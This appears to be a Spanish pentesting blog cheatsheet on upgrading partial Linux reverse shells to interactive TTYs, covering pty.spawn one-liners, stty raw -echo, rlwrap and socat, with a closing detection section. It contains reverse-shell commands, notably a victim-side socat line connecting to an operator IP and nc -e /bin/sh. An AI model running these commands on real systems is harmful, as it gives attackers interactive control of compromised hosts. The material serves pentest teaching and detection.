← Blog

Mejorar una Shell en Linux

Upgrade de shells parciales a TTY interactiva: pty.spawn, stty raw -echo, socat, rlwrap y shells por lenguaje.

Mejorar una Shell en Linux

Operational Scope & Technical Objective

Una reverse/bind shell parcial (p.ej. nc) carece de TTY: no soporta autocompletado, atajos de teclado, su, nano, clear ni control de jobs; además, Ctrl+C suele terminar la sesión. El objetivo es convertirla en una TTY interactiva completa: re-allocar un terminal (pty) con python -c 'import pty; pty.spawn(...)' o socat, y luego sincronizar las dimensiones del tty local con el remoto (stty rows/cols). Herramientas como rlwrap añaden edición de línea sobre shells sin TTY (clear con Ctrl+L, historial).

High-Impact Syntax & Command Cheatsheet

Upgrade estándar (método rlwrap-style / stty)

# 1) En la shell parcial
echo $TERM && tput lines && tput cols     # dimensiones del tty local

# 2) Suspender la shell (Ctrl+Z) y, en el host local:
#    para bash
stty raw -echo
fg
#    para zsh
stty raw -echo; fg

# 3) De vuelta en la shell remota
reset
export SHELL=bash
export TERM=xterm-256color
stty rows <num> columns <cols>

stty raw -echo desactiva el procesado de línea y el eco en el tty local antes de fg, para que el pty remoto controle el terminal; reset restaura el modo del terminal, y stty rows/columns sincroniza las dimensiones.

Spawn de TTY por lenguaje

/bin/sh -i

### Python
python -c 'import pty; pty.spawn("/bin/sh")'
python -c 'import pty; pty.spawn("/bin/bash")'

### Perl
perl -e 'exec "/bin/sh";'
perl -e 'exec "/bin/bash";'
perl -e 'exec "/bin/sh";'

### Ruby
ruby -e 'exec "/bin/sh"'

### Lua
lua -e 'os.execute("/bin/sh")'

Socat (TTY completa)

# (Kali / host del operador)
socat file:`tty`,raw,echo=0 tcp-listen:4444

# (Víctima)
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.3.4:4444

file:\tty` toma el terminal local sin proceso de línea (raw,echo=0); en la víctima ptyasigna un pseudo-terminal,stderrlo redirige,setsidcrea una sesión nueva,siginthabilita Ctrl+C ysane` restaura opciones del terminal. Alternativa del lado del operador:

socat file:`tty`,raw,echo=0 tcp-listen:12345

rlwrap

rlwrap envuelve la sesión con edición de línea e historial: permite limpiar la pantalla con Ctrl+L, usar flechas y borrado, aunque el shell siga sin ser un TTY real.

rlwrap nc localhost 80      # listener con soporte de línea sobre netcat

Real-World Offensive/Defensive Scenarios

  • Shells netcat parciales (ofensivo): nc -e /bin/sh o nc -c carecen de TTY; el flujo pty.spawn + stty raw -echo; fg + stty rows/cols + export TERM convierte la sesión en una shell usable para su, nano, autocompletado y control de jobs sin perder la sesión al pulsar Ctrl+C.

  • Entornos sin Python (ofensivo): si no hay python, perl -e 'exec "/bin/sh";', ruby o lua cubren el spawn de pty; socat es la solución de TTY completa cuando el binario está disponible en el target.

  • Defensa: las técnicas de upgrade de TTY no son explotables por sí mismas, pero su aparición en logs de procesos (python -c 'import pty...', invocaciones de socat con pty,raw) es un indicador de actividad post-explotación; los EDR/HIDS pueden alertar sobre socat exec:'bash -li',pty como firma de shell interactiva.